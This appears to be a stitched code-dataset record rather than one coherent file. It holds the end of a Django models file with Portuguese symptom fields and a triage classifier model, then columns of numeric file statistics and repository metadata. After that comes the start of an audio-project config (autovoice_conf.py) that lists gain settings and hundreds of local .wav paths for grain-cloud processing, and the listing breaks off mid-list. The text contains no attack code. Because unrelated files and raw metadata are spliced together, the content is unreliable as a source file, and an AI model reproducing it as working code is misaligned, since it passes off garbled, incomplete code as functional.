dor_abdominal = models.BooleanField(
verbose_name=("Dor abdominal"),
default=False,
blank=True
)
otalgia = models.BooleanField(
verbose_name=("Otalgia"),
default=False,
blank=True
)
epistaxe = models.BooleanField(
verbose_name=("Epistaxe"),
default=False,
blank=True
)
otorreia = models.BooleanField(
verbose_name=("Otorréia"),
default=False,
blank=True
)
edema = models.BooleanField(
verbose_name=("Edema"),
default=False,
blank=True
)
adenomegalias = models.BooleanField(
verbose_name=("Adenomegalias"),
default=False,
blank=True
)
dor_articular = models.BooleanField(
verbose_name=("Dor articular"),
default=False,
blank=True
)
dificuldade_de_marcha = models.BooleanField(
verbose_name=("Dificuldade de marcha"),
default=False,
blank=True
)
sonolencia = models.BooleanField(
verbose_name=("Sonolência"),
default=False,
blank=True
)
secrecao_ocular = models.BooleanField(
verbose_name=("Secreção ocular"),
default=False,
blank=True
)
dor_muscular = models.BooleanField(
verbose_name=("Dor muscular"),
default=False,
blank=True
)
dor_retroorbitaria = models.BooleanField(
verbose_name=("Dor Retroorbitária"),
default=False,
blank=True
)
class ClinicalState_10yMore(Symptoms_10yMore):
created_at = models.DateTimeField(auto_now_add=True)
patient = models.ForeignKey(Patient, on_delete=models.CASCADE,
related_name="patient5")
classifier_id = models.CharField(
verbose_name=('ID do Classificador'),
max_length=150,
blank=True,
unique=False
)
class MachineLearning_10yMore(Symptoms_10yMore):
CLASSIFICATION_TYPES = (
(1, 'Atendimento Imediato'),
(2, 'Atendimento Hospitalar'),
(3, 'Atendimento Ambulatorial')
)
classification = models.IntegerField(
verbose_name=_('Classification'),
choices=CLASSIFICATION_TYPES,
blank=False,
default=0
)
| 21.549263
| 66
| 0.587788
| 2,552
| 27,777
| 6.233934
| 0.072884
| 0.134138
| 0.281287
| 0.326293
| 0.957885
| 0.947514
| 0.931862
| 0.928908
| 0.921554
| 0.908731
| 0
| 0.006069
| 0.311949
| 27,777
| 1,288
| 67
| 21.565994
| 0.826339
| 0.001404
| 0
| 0.733524
| 0
| 0
| 0.098763
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.002865
| 0
| 0.221585
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
4ee8656df6b99b81394a2cebeb2922b99983bea5
| 437,081
|
py
|
Python
|
playground/autovoice_conf.py
|
x75/smp_audio
|
6e293d6419132e34e38efde90efb58cabb9c623b
|
[
"MIT"
] | 4
|
2020-12-30T01:47:17.000Z
|
2021-04-10T11:11:16.000Z
|
playground/autovoice_conf.py
|
x75/smp_audio
|
6e293d6419132e34e38efde90efb58cabb9c623b
|
[
"MIT"
] | null | null | null |
playground/autovoice_conf.py
|
x75/smp_audio
|
6e293d6419132e34e38efde90efb58cabb9c623b
|
[
"MIT"
] | null | null | null |
"""autovoice
autovoice evil sister the _data module. encodes part two of the
autovoice input, the voice recording. taking a shortcut and
preprocessing the vocals manually.
each track has two entries which are lists each. the unprocessed and
the processed snips.
processing is currently done with an external script in my
github/x75/playground repository, sorry for that, WIP. Pull request.
"""
# default gains
# main voice
gain_main_max = 0
gain_main_min = -9
# side voice
gain_side_max = -6
gain_side_min = -30
# side voice
# multipat0001
# gain_max = -9
# gain_min = -33
# multipat0001
gain_max = -9
gain_min = -33
# main voice
voice_snip_data = {
'trk006': {
'raw': {
'gain_max': gain_main_max,
'gain_min': gain_main_min,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0000.362585.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0001.430476.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0001.708730.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0003.218503.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0003.670816.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0006.319932.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0008.755420.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0015.204898.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0018.055374.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0018.869728.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0019.433764.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0019.595125.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0020.934036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0021.758027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0024.585760.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0026.430317.wav',
# '/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0030.100499.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0030.130023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0030.460227.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0030.785669.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0033.043492.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0033.471315.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0034.878617.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0036.747438.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0040.232290.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0042.518798.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0044.700159.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0047.015918.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0048.933243.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0050.795306.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0052.730385.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0054.534921.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0057.953651.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0058.263492.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0060.136122.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0061.773537.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk006-3-sco-0000-voice-1/trk006-3-sco-0000-voice-1_0063.659592.wav',
],
},
# trk006 side / proc
'proc': {
'gain_max': gain_side_max,
'gain_min': gain_side_min,
'numlayer': 10,
'density': 0.66,
'files': [
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-031.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_density_lfo-036.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-031.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_length_lfo-036.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-031.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_read_lfo-036.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-031.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_graincloud_with_speed_lfo-036.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-031.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_maxspeed_graincloud-036.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-031.wav',
